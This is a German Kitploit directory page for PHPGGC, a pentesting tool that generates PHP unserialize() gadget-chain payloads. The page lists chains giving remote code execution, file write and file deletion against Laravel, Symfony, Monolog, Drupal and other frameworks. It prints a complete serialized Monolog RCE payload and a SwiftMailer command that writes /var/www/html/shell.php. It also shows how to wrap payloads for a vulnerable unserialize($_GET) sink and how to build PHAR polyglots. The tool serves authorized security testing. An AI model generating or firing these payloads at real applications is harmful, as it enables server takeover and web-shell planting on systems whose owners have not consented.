Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
phpggc — PHPGGC ist eine Bibliothek von PHP-unserialize()-Payloads zusammen mit einem Werkzeug zu deren Erzeugung, entweder über die Befehlszeile oder programmatisch. | Kitploit
Tools/GitHubGitHub/ambionics/phpggc
Exploit-FrameworksPayload-GenerierungExploitationWebanwendungs-Exploitation
GitHubambionics/phpggc

phpggc

PHPGGC ist eine Bibliothek von PHP-unserialize()-Payloads zusammen mit einem Werkzeug zu deren Erzeugung, entweder über die Befehlszeile oder programmatisch.

Repository anzeigen
3.9k55929vor 1 JahrVon Kitploit geprüft
Webseite

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

PHPGGC: PHP Generic Gadget Chains

PHPGGC ist eine Bibliothek von unserialize()-Payloads sowie ein Werkzeug, um diese von der Kommandozeile oder programmatisch zu erzeugen. Wenn Sie auf einer Website auf ein unserialize stoßen, deren Code Sie nicht haben, oder einfach ein Exploit bauen möchten, ermöglicht Ihnen dieses Tool, den Payload zu erzeugen, ohne die mühsamen Schritte des Findens und Kombinierens von Gadgets durchlaufen zu müssen. Es kann als das PHP-Pendant zu frohoffs ysoserial angesehen werden. Zurzeit unterstützt das Tool unter anderem folgende Gadget-Chains: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii und ZendFramework.

Voraussetzungen

PHP >= 5.6 ist erforderlich, um PHPGGC auszuführen.

Verwendung

Führen Sie ./phpggc -l aus, um eine Liste der Gadget-Chains zu erhalten:

$ ./phpggc -l

Gadget Chains
-------------

NAME                                      VERSION                                              TYPE                   VECTOR         I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                   RCE (Function call)    __destruct          
CakePHP/RCE1                              ? <= 3.9.6                                           RCE (Command)          __destruct          
CakePHP/RCE2                              ? <= 4.2.3                                           RCE (Function call)    __destruct          
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                       File read              __toString     *    
CodeIgniter4/RCE1                         4.0.2 <= 4.0.3                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                  RCE (Function call)    __destruct          
CodeIgniter4/RCE3                         4.0.4 <= 4.3.6                                       RCE (Function call)    __destruct          
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                           RCE (Function call)    __destruct          
CodeIgniter4/RCE5                         -4.1.3+                                              RCE (Function call)    __destruct          
CodeIgniter4/RCE6                         -4.1.3 <= 4.2.10+                                    RCE (Function call)    __destruct          
Doctrine/FW1                              ?                                                    File write             __toString     *    
Doctrine/FW2                              2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5                       File write             __destruct     *    
Doctrine/RCE1                             1.5.1 <= 2.7.2                                       RCE (PHP code)         __destruct     *    
Doctrine/RCE2                             1.11.0 <= 2.3.2                                      RCE (Function call)    __destruct     *    
Dompdf/FD1                                1.1.1 <= ?                                           File delete            __destruct     *    
...

Gadget-Chains filtern:

$ ./phpggc -l laravel

Gadget Chains
-------------

NAME             VERSION            TYPE                   VECTOR        I    
Laravel/RCE1     5.4.27             RCE (Function call)    __destruct         
Laravel/RCE10    5.6.0 <= 9.1.8+    RCE (Function call)    __toString         
Laravel/RCE2     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE3     5.5.0 <= 5.8.35    RCE (Function call)    __destruct    *    
Laravel/RCE4     5.4.0 <= 8.6.9+    RCE (Function call)    __destruct         
Laravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    
Laravel/RCE6     5.5.* <= 5.8.35    RCE (PHP code)         __destruct    *    
Laravel/RCE7     ? <= 8.16.1        RCE (Function call)    __destruct    *    
Laravel/RCE8     7.0.0 <= 8.6.9+    RCE (Function call)    __destruct    *    
Laravel/RCE9     5.4.0 <= 9.1.8+    RCE (Function call)    __destruct         

Jede Gadget-Chain hat:

  • Name: Name des Frameworks/der Bibliothek
  • Version: Version des Frameworks/der Bibliothek, für die die Gadgets gelten
  • Typ: Art der Ausnutzung: RCE, Datei schreiben, Datei lesen, Include...
  • Vektor: der Vektor, der die Kette nach dem unserialize auslöst (__destruct(), __toString(), offsetGet(), ...)
  • Informationen: Weitere Informationen über die Kette

Verwenden Sie -i, um detaillierte Informationen über eine Kette zu erhalten:

$ ./phpggc -i symfony/rce1
Name           : Symfony/RCE1
Version        : 3.3
Type           : rce
Vector         : __destruct
Informations   : 
Exec through proc_open()

./phpggc Symfony/RCE1 <command>

Für RCE-Gadgets kann der ausgeführte Befehl je nach Funktionsweise des Gadgets drei Formatierungsarten haben:

  • RCE (Befehl): ./phpggc Symfony/RCE1 id
  • RCE (PHP-Code): ./phpggc Symfony/RCE2 'phpinfo();'
  • RCE (Funktionsaufruf): ./phpggc Symfony/RCE4 system id

Sobald Sie eine Kette ausgewählt haben, führen Sie ./phpggc <gadget-chain> [parameters] aus, um den Payload zu erhalten. Um beispielsweise einen Payload für Monolog zu erhalten, würden Sie Folgendes tun:

$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

Für das Schreiben einer Datei mit SwiftMailer würden Sie Folgendes tun:

$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}

Wrapper

Mit der Option --wrapper (-w) können Sie eine PHP-Datei definieren, die die folgenden Funktionen enthält:

  • process_parameters(array $parameters): Wird direkt vor generate() aufgerufen und ermöglicht es, Parameter zu ändern
  • process_object(object $object): Wird direkt vor serialize() aufgerufen und ermöglicht es, das Objekt zu ändern
  • process_serialized(string $serialized): Wird direkt nach serialize() aufgerufen und ermöglicht es, die serialisierte Zeichenkette zu ändern

Wenn der angreifbare Code zum Beispiel so aussieht:

<?php
$data = unserialize($_GET['data']);
print $data['message'];

Sie könnten eine __toString()-Kette verwenden und sie wie folgt verpacken:

<?php
# /tmp/my_wrapper.php
function process_object($object)
{
    return array(
        'message' => $object
    );
}

Und Sie würden phpggc wie folgt aufrufen:

$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}

PHAR(GGC)

Geschichte

Auf der BlackHat US 2018 veröffentlichte @s_n_t PHARGGC, einen Fork von PHPGGC, der anstelle eines serialisierten Payloads eine vollständige PHAR-Datei erstellt. Diese PHAR-Datei enthält serialisierte Daten und kann daher für verschiedene Ausnutzungstechniken verwendet werden (file_exists, fopen, usw.). Das Paper finden Sie hier.

Implementierung

PHAR-Archive gibt es in drei verschiedenen Formaten: PHAR, TAR und ZIP. Alle drei werden von PHPGGC unterstützt. Polyglot-Dateien können mit --phar-jpeg (-pj) erzeugt werden. Weitere Optionen sind verfügbar (verwenden Sie -h).

Beispiele

Tool herunterladen